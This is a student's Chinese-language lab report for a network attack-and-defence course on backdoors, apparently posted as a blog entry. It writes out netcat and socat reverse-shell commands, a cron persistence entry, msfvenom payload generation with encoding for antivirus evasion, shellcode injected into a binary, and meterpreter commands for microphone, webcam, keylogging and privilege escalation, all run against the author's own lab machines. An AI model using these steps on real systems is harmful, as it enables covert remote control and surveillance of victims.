20192420 任文朗 2021-2022-2 《网络与系统攻防技术》实验二实验报告

实验二 后门原理与实现


一、实践内容

1.使用netcat获取主机操作Shell,cron启动 

2.使用socat获取主机操作Shell, 任务计划启动 

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

二、实践目的

2.1 实践目的

· 掌握后门原理及免杀技术

· 回答基础问题

	(1)例举你能想到的一个后门进入到你系统中的可能方式?

	答:通过一些钓鱼网站,或者是下载软件时被捆绑了恶意后门程序等

	(2)例举你知道的后门如何启动起来(win及linux)的方式?
	
	答:Linux中可以通过cron将后门设置为所需的定时启动,通过反弹式连接到客户端然后攻击者通过恶意控制启动后门;Windows中,攻击者可以通过修改注册表将后门程序添加到自启动项中,也可以将后门捆绑植入到各种正常的文件、程序中,当打开这些文件程序时后门被启动。

	(3)Meterpreter有哪些给你映像深刻的功能?

	答:可以获取主机摄像头,进行截屏,获取音频或键盘记录等功能,做完之后确实让我大吃一惊

	(4)如何发现自己有系统有没有被安装后门?
	
	答:通过任务管理器查看是否有在运行可疑进程,检查比照注册表中是否有可疑的自启动项,及时使用杀软对系统进行扫描

2.2 熟悉基本工具

	1. NC或者ncat
	· NC也叫作netcat或ncat,是一个底层工具,进行基本的TCP UDP数据收发。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。它常被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

	· win主机输入ipconfig查看本机ip地址,linux主机输入ifconfig查看ip地址

	· win主机运行监听指令ncat.exe -l -p 8888,linux反弹连接win主机指令nc 192.168.56.1 8888 -e /bin/sh

	· linux主机运行监听指令nc -l -p 8888,win主机反弹连接linux指令ncat.exe -e cmd.exe 192.168.56.101 8888

	· 使用nc传输数据或文件(linux向windows传输文件)

	2. socat
	
	· socat又称Netcat++,超级netcat工具,是nc的加强版

	· 使用格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。address就类似于一个文件描述符,socat所做的工作就是在2个address指定的描述符间建立一个pipe用于发送和接收数据

	3. cron
	
	· cron 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

	4. meterpreter
	
	· Meterpreter是MSF中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是MSF的一个扩展模块,可以调用MSF的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。
	· 基本用法
	(1)生成基于TCP的反向链接反弹shell
		msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=XXX -f exe > meter_backdoor.exe
		参数说明:
		 -p 使用的payload(有效载荷),就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
		-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
		-e 使用的编码器,用于对shellcode变形,为了免杀
		-i 编码器的迭代次数
		-b badchar是payload中需要去除的字符。
		LHOST 是反弹回连的IP
		LPORT 是回连的端口
		-f 生成文件的类型
	(2)基础命令
		查看Meterpreter Shell的进程号:getpid
		获取运行Meterpreter会话的用户名:getuid
		获取系统信息:sysinfo
		对当前用户进行提权:getsystem
		获取目标机正在运行的进程:ps
		将当前的session放到后台运行,可以在msf中继续其他的渗透任务:background
		查看已经成功获取的会话:sessions
		sessions -i ID:连接到执行ID的meterpreter会话已继续利用
		在目标机中执行文件或程序:execute
		在目标机中下载文件:download 目标文件路径 本地路径
		在目标机中上传文件:upload 源文件路径 目的文件路径

三、实践过程

3.1 任务一 使用netcat获取主机操作Shell,cron启动

· 步骤一 获得主机和虚拟机的ip地址
	由于2.2部分中已经得到了主机ip地址为192.168.56.1,而虚拟机的ip地址为192.168.56.101,此处不再进行图片展示

· 步骤二 使用cron添加命令,使得Linux反弹连接
	在kali虚拟机执行指令crotab -e,在文件的末尾添加14 * * * * /bin/netcat 192.168.56.1 8090 -e /bin/sh(在每个小时的第14分钟反向连接Windows主机的8090端口)

· 步骤三 使用ncat.exe程序打开监听
	在主机cmd中输入ncat.exe -l -p 8090进行监听,当时间到14分时执行相关指令,获得linux的shell

3.2 任务二 使用socat获取主机操作Shell, 任务计划启动

· 步骤一 分别在主机和虚拟机上执行socat指令
	在主机执行socat.exe tcp-listen:5555 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口5555,同时把cmd.exe的stderr重定向到stdout上
	在虚拟机中输入指令socat - tcp:192.168.56.1:5555,可以发现成功得到一个Windows的cmd命令行窗口

3.3 任务三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

· 步骤一 在虚拟机端生成可执行文件作为后门程序
	在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.56.101 LPORT=1234 -f exe > rwl.exe,得到后门文件rwl.exe

· 步骤二 使用nc工具将后门程序发给windows主机
	windows主机在ncat文件夹下执行ncat.exe -l 1234 > rwl.exe指令接收后门程序
	kali虚拟机中利用nc工具执行nc 192.168.56.1 1234 < rwl.exe指令发送后门程序至主机
	发送成功后可以成功在windows主机发现我们植入的后门程序rwl.exe

· 步骤三 在kali虚拟机上使用MSF meterpreter工具
	输入msfconsole指令进入msf控制台
	输入use exploit/multi/handler进入handler
	输入set payload windows/meterpreter/reverse_tcp设置连接
	输入set LHOST 192.168.56.101设置ip地址(Linux地址)
	输入set LPORT 443设置端口号
	输入show options再次查看设置是否正确

· 步骤四 获取win主机反弹连接
	输入exploit开始监听,双击win主机的后门程序,可以在kali上获得远程控制shell

3.4 任务四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

· 步骤一 获取主机音频
	在meterpreter中输入指令record_mic -d 5,可以截获一段时长为5秒的音频

· 步骤二 获取主机摄像头
	输入指令webcam_snap可以使用主机摄像头进行拍照

· 步骤三 获取主机键盘记录
	输入指令keyscan_start开始记录敲击键盘的过程,输入指令keyscan_dump读取敲击键盘的记录

· 步骤四 获取主机截屏
	输入指令screenshot可以进行截屏

· 步骤五 获取提权
	首先使用getuid指令查看当前用户,再使用getsystem指令进行提权,发现提权失败

	将后门程序文件改成install.exe后发现提权成功

3.5 任务五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

· 步骤一 生成shellcode注入20192420rwl_pwn
	输入指令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=1234 -x /home/20192420rwl/桌面/pwn20192420rwl -f elf >20192420rwl_pwn

· 步骤二 在msf控制台进行监听
	在msf控制台输入exploit进行监听,注意保证ip地址与端口号与之前一样。开启另外一个终端输入./20192420rwl_pwn指令,可以发现在msf控制台上成功获取了linux的shell

四、问题及解决方案

4.1 问题一

描述:在msf控制台进行监听时总会出现ip地址和端口号的错误

解决方案:每次重新启动msf控制台后,之前设置好的ip地址和端口号会被清理,所以需要重新进行设置

4.2 问题二

描述:重新开启主机后ncat功能无法实现,并且后门文件被删除

解决方案:某些杀毒软件是开机自启动,所以在重新开机后还是需要重新关闭杀毒软件,并且重新下载ncat工具,而且后门文件也需要重新生成

4.3 问题三

描述:利用nc工具传送后门程序时,在主机端观察到后门程序是0KB

解决方案:一开始以为没有传送成功,后面才发现是主机显示的问题,当把文件夹刷新之后就会成功显示后门程序大小

五、学习感悟及思考

这是本学期网络攻防课的第二次实验,本次实验的目的是学习和使用后门程序远程控制主机。在这次实验中我收获最多的莫过于学到了很多跟后门原理相关的知识以及一些简单的后门攻击方法。在这次实验中也遇到了很多问题,比如没有关闭杀毒软件或防火墙就开始进行实验,并没有考虑到这些后门程序会直接被杀毒软件直接删除,还有就是在实验中发现重启主机过后所有设置都要重新处理,不管是ncat工具,亦或者是后门程序,还是msf控制台里的设置。但是在老师和同学的帮助下我还是一一解决了这些问题,还在后门指令操作上面实现了自我的进步。通过这次实验,我也意识到了学好网络攻防课的核心在于实践,虽然老师课上讲的东西很多,但是通过自己的实践将这些知识灵活运用,却是对知识的最好把握,相信在之后的实验课中能够学到更多的东西,提升自己的能力。

六、参考资料

· 后门原理与实践 https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides
posted @ 2022-03-31 21:42  任文朗  阅读(127)  评论(0编辑  收藏  举报